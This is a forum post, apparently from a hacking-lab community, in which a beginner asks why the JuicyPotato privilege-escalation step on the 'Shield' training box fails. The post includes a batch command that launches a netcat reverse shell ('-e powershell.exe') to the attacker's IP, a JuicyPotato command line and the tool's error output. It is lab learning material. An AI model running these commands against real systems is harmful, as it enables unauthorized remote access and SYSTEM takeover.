Good time of the day, everyone!
As you may have already figured, I am new here, just starting out on my hacking journey. Techncally I would like to ask two questions, but they are interlinked.
I am a bit stuck at the PrivEsc stage of Shield, specifically the Juicy Potato part. I am working through the walktrhough and currently I have the following open:
- Msfconsole, which I have used to upload
netcat
,JuicyPotato
and theshell.bat
file. It is important to note that I have renamed every one of these files because the box already had them uploaded by someone else, so I decided to use my own copies without interrupting everyone else. - A netcat session created by using the
wp_admin_shell_upload
, on port6464
, which has succesfully worked using my uploaded version of netcat - A not-working netcat session on port
6416
because the walkthrough told me to start one.
In the original walkthrough it’s listed as
nc -lvp 1111
I also tried to change it to 6427
as per contents of my pancake-shell.bat
:
echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\pancake-nc.exe -e powershell.exe <MY IP> 6427 > pancake-shell.bat
So, I try to execute JuicyPotato as the following:
jp-tasidonya.exe -t * -p C:\intepub\wwwroot\wordpress\wp-content\uploads\pancake-shell.bat -l 6416
The output I get is:
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 6416
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[-] CreateProcessWithTokenW Failed to create proc: 3
[-] CreateProcessAsUser Failed to create proc: 3
No shell gets spawned at ports 6416
or 6427
.
I have had some mistakes before where I didn’t change directories on the target machine or didn’t copy files into the right place before, but I have definitely checked that both the pancake-nc.exe
and the pancake-shell.bat
files are in the uploads
directory.
What I am confused about is why do we need an extra port at the end? Which port am I supposed to be listening at, is it the one in the script (6427
in my case) or the one that is specified with a -p flag at the end of the JuicyPotato command (6416
in my case)? The walkthrough has them as different ports, so I assumed that I needed to change all of them. The original JuicyPotato command had -p 1337
at the end, but I do believe I have tried that in my previous attempt to solve this box and it did not succeed. Last time I have also tried appending -c {bb6df56b-cace-11dc-9992-0019b93a3a84}
(copied verbatim from the walkthough, I did not think that this token of gobbledygook could change, if it does - I have not tried pasting my token, in which case please someone point me to where I can get my token?)
Questions about this box and this very stage have been asked before, but they do not seem to cover what I’ve got exactly.
- This one seems to have a different JuicyPotato output
- This one is about retrieving the JuicyPotato executable
In summary:
- What port should I get the admin shell on? Is it the port in the script or the port in the
-p
flag? - Why did the output of the JuicyPotato command fail?
I appreciate you taking the time to read to this part and would be happy to provide further info.